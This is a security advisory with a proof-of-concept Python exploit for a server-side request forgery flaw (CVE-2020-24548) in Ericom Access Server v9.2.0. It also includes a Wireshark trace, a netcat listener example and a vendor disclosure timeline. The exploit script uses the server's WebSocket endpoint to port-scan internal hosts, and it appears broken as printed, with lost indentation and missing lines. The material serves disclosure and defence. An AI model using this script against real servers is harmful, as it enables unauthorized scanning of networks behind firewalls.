[+] Credits: John Page (aka hyp3rlinx)  
[+] Website:  
[+] Source:  
[+] ISR: ApparitionSec   
Ericom Access Server x64 for (AccessNow & Ericom Blaze) v9.2.0  
AccessNow is an HTML5 remote desktop gateway that works from any device with an HTML5 compatible browser,  
including from Chromebooks and locked down devices. Ericom Blaze provides remote desktop connectivity from  
Mac, Windows and Linux devices to applications on office / home PCs and virtual desktops (VDI).  
[Vulnerability Type]  
Server Side Request Forgery  
[CVE Reference]  
[Security Issue]  
Ericom Access Server allows attackers to initiate SSRF requests making outbound  
connections to arbitrary hosts and TCP ports. Attackers, who can reach the  
AccessNow server can target internal systems that are behind firewalls that are  
typically not accessible. This can also be used to target third-party systems  
from the AccessNow server itself.  
The AccessNow server will return an attacker friendly response, exfiltrating  
which ports are listening for connections. This can bypass Firewall rules and  
undermine the integrity of other systems and security controls in place.  
E.g. listen using Netcat, Nc64.exe -llvp 25  
A) Ericom Server (defaults port 8080)  
B) Attacker  
C) Victim  
Using Wireshark we can observe A sends a SYN packet to C (port 25)  
C sends SYN/ACK to A  
A sends ACK to C.   
A sends ACK/FIN to C port 25.  
We will then get an AccessNow server response similar to below.  
["C","M",["Cannot connect to ''.",true]]  
This message indicates we cannot connect and helpfully informs us of closed vs open ports.  
[Affected Component]  
Ericom Server port 8080 will forward connections to arbitrary Hosts and or Ports  
which are sent using Web-Socket requests. Ericom server then replies with a  
"Cannot connect to" message if a port is in a closed state.  
[Attack Vectors]  
Remote attackers can abuse the Ericom Access Server to conduct port  
scans on arbitrary systems. This is possible due to a server side  
request forgery vulnerability and using a remote TCP socket program.  
[Impact Information Disclosure]  
[CVE Impact Other]  
Exfiltration of open ports  
import sys,ssl  
import websocket  
##pip install websocket-client #Required  
#By hyp3rlinx  
#Ericom Access Server v9.2.0 for (AccessNow & Blaze) SSRF  
______ _____   
| ____| / ____|   
| |__ _ __ _ __ ___ _ __| | ___ _ __ ___   
| __| | '__| '__/ _ \| '__| | / _ \| '_ ` _ \   
| |____| | | | | (_) | | | |___| (_) | | | | | |  
|______|_| |_| \___/|_| \_____\___/|_| |_| |_|   
SSRF Exploit  
def ErrorCom(vs,vp,t,p):  
ws = websocket.create_connection("wss://"+vs+":"+vp+"/blaze/"+t+":"+p, sslopt={'cert_reqs': ssl.CERT_NONE})  
result = ws.recv()  
if result.find("Cannot connect to")==-1:  
print("[+] Port "+p+" is open for business :)")  
print("[!] Port " + p+ " is closed :(")  
except Exception as e:  
if __name__=="__main__":  
if len(sys.argv) != 5:  
print("[+] Ericom Access Server v9.2.0 - SSRF Exploit - CVE-2020-24548")  
print("[+] By Hyp3rlinX / ApparitionSec")  
print("[!] Usage: <vuln-server>,<port (usually 8080)>,<target>,<port-to-scan>")  
if len(sys.argv[4]) > 5:  
print("[!] Port out of range")  
[PoC Video URL]  
[Network Access]  
[Disclosure Timeline]  
Vendor Notification : June 21, 2020  
Received automated reply : June 21, 2020  
Request for status : June 30, 2020  
Vendor "Forwarded all the detail to our R&D and Management team" : June 30, 2020  
Request for status : July 13, 2020   
No vendor reponse  
Informed vendor advisory: August 11, 2020  
Request for status : August 20, 2020   
No vendor reponse  
August 22, 2020 : Public Disclosure  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).